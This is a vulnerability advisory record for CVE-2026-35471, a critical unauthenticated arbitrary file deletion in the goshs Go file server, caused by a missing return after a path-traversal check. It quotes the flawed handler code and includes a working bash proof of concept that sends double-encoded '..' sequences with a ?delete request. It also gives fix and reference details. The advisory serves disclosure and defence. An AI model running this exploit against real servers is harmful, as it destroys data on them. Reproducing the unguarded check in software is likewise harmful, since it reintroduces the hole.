{"id":"CVE-2026-35471","aliases":["GHSA-6qcc-6q27-whp8","GO-2026-5186"],"url":"https://o3.security/vulnerability/CVE-2026-35471","summary":"Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') in goshs","details":"### Summary\n* `deleteFile()` missing return after path traversal check | `httpserver/handler.go:645-671`\n\nThe finding affects the default configuration, no flags or authentication required.\n\n### Details\n\n**File:** `httpserver/handler.go:645-671`\n**Trigger:** `GET /<path>?delete` (handler.go:157-160 dispatches to `deleteFile`)\n\nThe function detects `..` in the decoded path but does not `return`.\n\n```go\nfunc (fs *FileServer) deleteFile(w http.ResponseWriter, req *http.Request) {\n    upath := filepath.FromSlash(filepath.Clean(\"/\" + strings.Trim(req.URL.Path, \"/\")))\n\n    fileCleaned, _ := url.QueryUnescape(upath)\n    if strings.Contains(fileCleaned, \"..\") {\n        w.WriteHeader(500)\n        _, err := w.Write([]byte(\"Cannot delete file\"))\n        if err != nil {\n            logger.Errorf(\"error writing answer to client: %+v\", err)\n        }\n        // BUG: no return, falls through to os.RemoveAll\n    }\n\n    deletePath := filepath.Join(fs.Webroot, fileCleaned)\n    err := os.RemoveAll(deletePath)  // always executes\n```\n\n**Root causes:**\nMissing `return` after the guard makes the check dead code\n\n**Impact:** Unauthenticated arbitrary file/directory deletion.\n\n**PoCs:**\n```bash\n#!/usr/bin/env bash\n# Delete an arbitrary file/directory on a running goshs instance.\n# Usage: ./arbitrary_delete.sh <host> <port> <absolute-path-to-delete>\n\nset -euo pipefail\n\nHOST=\"${1:?Usage: $0 <host> <port> <absolute-path-to-delete>}\"\nPORT=\"${2:?Usage: $0 <host> <port> <absolute-path-to-delete>}\"\nTARGET=\"${3:?Usage: $0 <host> <port> <absolute-path-to-delete>}\"\n\n# Double-encode \"..\" => %252e%252e\n# We don't know the webroot depth, so use 16 levels (covers most paths).\nTRAVERSAL=\"\"\nfor _ in $(seq 1 16); do\n    TRAVERSAL=\"${TRAVERSAL}%252e%252e/\"\ndone\n\n# Strip leading / from target and URL-encode any special chars\nTARGET_REL=\"${TARGET#/}\"\nENCODED_TARGET=$(python3 -c \"import urllib.parse; print(urllib.parse.quote('$TARGET_REL', safe='/'))\")\n\nURL=\"http://${HOST}:${PORT}/${TRAVERSAL}${ENCODED_TARGET}?delete\"\n\necho \"[*] Target:  ${TARGET}\"\necho \"[*] Request: GET ${URL}\"\necho \"\"\n\nHTTP_CODE=$(curl -s -o /dev/null -w \"%{http_code}\" \"$URL\")\n\necho \"[*] HTTP ${HTTP_CODE}\"\n```\n\nTo execute it: `./arbitrary_delete.sh 10.1.2.2 8000 /tmp/canary`\n\n---\n\n## Recommendations\n\nChecking that the targeted file is part of the webroot could prevent these attacks. Also, ensure that the method `return` is called after every error response.","published":"2026-04-06T21:38:27.657Z","modified":"2026-08-27T03:57:09.202447949Z","cvss":{"score":9.8,"severity":"CRITICAL","vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"},"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Go","name":"github.com/patrickhener/goshs","fixedVersion":"1.1.5-0.20260401172448-237f3af891a9"}],"fix":{"url":"https://github.com/patrickhener/goshs/commit/237f3af891a90df9b903b85f1cd3438040ca261a","label":"patrickhener/goshs@237f3af"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/35xxx/CVE-2026-35471.json"},{"type":"ADVISORY","url":"https://github.com/patrickhener/goshs/security/advisories/GHSA-6qcc-6q27-whp8"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-35471"},{"type":"WEB","url":"https://github.com/patrickhener/goshs/commit/237f3af891a90df9b903b85f1cd3438040ca261a"},{"type":"PACKAGE","url":"https://github.com/patrickhener/goshs"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-27T03:57:09.202447949Z"}}